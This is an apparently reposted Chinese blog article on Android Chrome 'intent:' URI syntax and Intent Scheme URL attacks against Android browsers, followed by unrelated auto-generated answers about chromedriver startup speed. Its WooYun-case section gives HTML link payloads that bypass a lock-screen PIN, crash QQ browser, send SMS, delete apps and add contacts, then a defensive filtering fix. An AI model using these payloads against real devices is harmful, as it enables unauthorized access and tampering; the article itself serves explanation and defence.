android chrome iframe设置src属性无法启动app

0x01 Android Intents with Chrome


Android有一个很少人知道的特性可以通过web页面发送intent来启动apps。以前通过网页启动app是通过设置iframe的src属性,例如:

<iframe src="paulsawesomeapp://page1"> </iframe>

此方法适用version 18或者更早版本。其他android浏览器也适用。 这个功能在安卓chrome 浏览器version 25之后版本发生了改变。不能在通过设置iframe标签的src属性来启动app了。取而代之的是你应该通过自定义scheme实现用户手势启动app或者使用本文描述的“intent:”语法。

1.1 基本语法

“最佳实践”是构造一个intent插入网页中使用户能够登录app。这为您提供了更多的灵活性在控制应用程序是如何启动,包括传通过Intent Extras传递额外信息。 intent-based URI基本语法如下:

intent:
   HOST/URI-path // Optional host
   #Intent;
      package=[string];
      action=[string];
      category=[string];
      component=[string];
      scheme=[string];
   end;

 

语法细节见源码Android source

enter image description here

enter image description here

1.2 简单举例

例子是一个intent登陆应用“Zxing barcode scanner”,语法如下:

intent:
   //scan/
   #Intent;
      package=com.google.zxing.client.android;
      scheme=zxing;
   end;

设置a标签发href属性:

<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>

Package和host定义在配置文件中Android Zxing Manifest

1.3 注意事项

如果调用activity的intent包含extras,同样可以包含这些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE通过这种方式在浏览器中打开,因为这样表明其是安全的。

1.4 另请参阅

Android Intents and Intent Filters

Android Activities

0x02 利用思路


在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。 然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。

0x03 1.3 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>  

从用法上看,还是很好理解的,这里的代码等价于如下Java代码:

Intent intent = new Intent("myaction");  
intent.setData(Uri.parse("mydata"));  
intent.setType("text/plain");  

再看一个例子:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end 

上面的语句,等价于如下Java代码:

Intent intent = new Intent("myaction");  
intent.setData(Uri.pase("//foobar/"));  
intent.putExtra("xyz", "123");  
intent.putExtra("abc", 678);  

其中S代表String类型的key-value,i代表int类型的key-value。 源码中提供了Intent.parseUri(String uri)静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。

0x04 Intent scheme URI的解析及过滤


如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理:

  1. 利用Intent.parseUri解析uri,获取原始的intent对象;
  2. 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
  3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent; 其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。

关键函数

Intent.parseUri()

绕过

Intent.setComponent(null);

使用sel;

0x05 乌云案例


WooYun: qq浏览器IntentScheme处理不当

WooYun: 傲游云浏览器远程隐私泄露漏洞(需要一定条件)

某浏览器对此支持非常好

<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">
   设置绕过Pin码(android 3.0-4.3)
</a>

enter image description here

<a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">
    qq浏览器崩溃
</a>

enter image description here

<a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">
    打开原生浏览器
</a>

enter image description here


<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">
   发送短信
</a><br>

<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">
   打开相机
</a><br>

<a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">
   删除应用
</a><br>

<a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">
    添加联系人
</a><br>

0x06 修复


通过以上漏洞的描述,总结得出一种相对比较安全的Intent Filter方法,代码如下:

// convert intent scheme URL to intent object  
Intent intent = Intent.parseUri(uri);  
// forbid launching activities without BROWSABLE category  
intent.addCategory("android.intent.category.BROWSABLE");  
// forbid explicit call  
intent.setComponent(null);  
// forbid intent with selector intent  
intent.setSelector(null);  
// start the activity by the intent  
context.startActivityIfNeeded(intent, -1);  

0x07 参考


http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805

转载于:https://www.cnblogs.com/gaoxue/p/4087861.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 在 Chrome 浏览器中,使用 --user-data-dir 参数时,会创建一个新的用户数据目录,并且会加载所有的插件、扩展程序等。因此,加载时间可能会比较长,造成浏览器启动速度变慢。 如果你想提高浏览器的启动速度,可以考虑减少扩展程序的数量,或者直接使用默认的用户数据目录,而不使用 --user-data-dir 参数。 ### 回答2: chromedriver是用于控制Chrome浏览器的工具,它支持一些高级特性,如模拟用户行为、自动化测试等。在使用chromedriver时,可以通过设置user-dir属性指定用户数据目录,以便浏览器能够保存用户的个人设置、历史记录、插件等数据。 当设置了user-dir属性后,chromedriver在启动时会加载指定的用户数据目录,这会导致启动变得较慢。因为加载用户数据目录需要加载和处理大量的数据文件,包括浏览历史、插件配置、Cookie等等。加载过程可能会涉及大量的磁盘读取、内存处理和网络通信,这些都需要一定的时间。 另外,用户数据目录可能会很大,特别是在使用浏览器较长时间或进行了大量的操作后。如果设置了user-dir属性后,chromedriver每次启动都需要加载整个用户数据目录,这会增加启动时间。 此外,chromedriver还可能会被其他因素影响导致启动变慢,如电脑性能较低、网络连接问题、Chrome浏览器本身的问题等。 综上所述,设置user-dir属性chromedriver启动变慢可能是由于加载和处理大量的用户数据文件导致的,同时可能还受到其他因素的影响。如果使用时出现启动缓慢的情况,可以尝试优化计算机性能、检查网络连接或升级Chrome浏览器等措施来改善。 ### 回答3: Chromedriver 是一个控制 Chrome 浏览器的工具,用于自动化测试等场景。它可以通过设置 user-dir 属性指定用户数据目录,用于保存浏览器的用户信息和配置。 在启动 Chromedriver 时,如果设置了 user-dir 属性,它会加载指定目录下的用户数据,包括浏览器的历史记录、插件、设置等信息。这样可以使得每次启动 Chromedriver 时都是在一个特定的用户环境中进行操作,以实现测试的准确性和稳定性。 然而,由于加载用户数据需要时间,这就导致了启动 Chromedriver 变得比较慢。尤其是当用户数据目录的大小较大或者存储的数据较多时,加载过程可能会更加耗时。 此外,如果用户数据目录中保存了大量插件或者扩展,这些插件的加载也会增加启动时间。因为在启动时,Chromedriver 需要加载并初始化这些插件以保证与用户实际使用环境的一致性。 为了加快 Chromedriver 的启动速度,可以考虑以下几个方面的优化: 1. 精简用户数据目录:删除不必要的历史记录、缓存文件等,只保留影响测试的最小数据集; 2. 减少插件和扩展数量:只保留对测试用例有影响的插件,删除其他不必要的插件; 3. 提前加载用户数据:在测试开始之前,可以先启动一次 Chromedriver,加载用户数据,然后退出,这样第二次启动时就能够快速加载。 综上所述,通过设置 user-dir 属性可以实现在指定的用户环境中进行自动化测试,但是可能会导致启动速度变慢。可以通过优化用户数据和插件的方式来减少启动时间。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值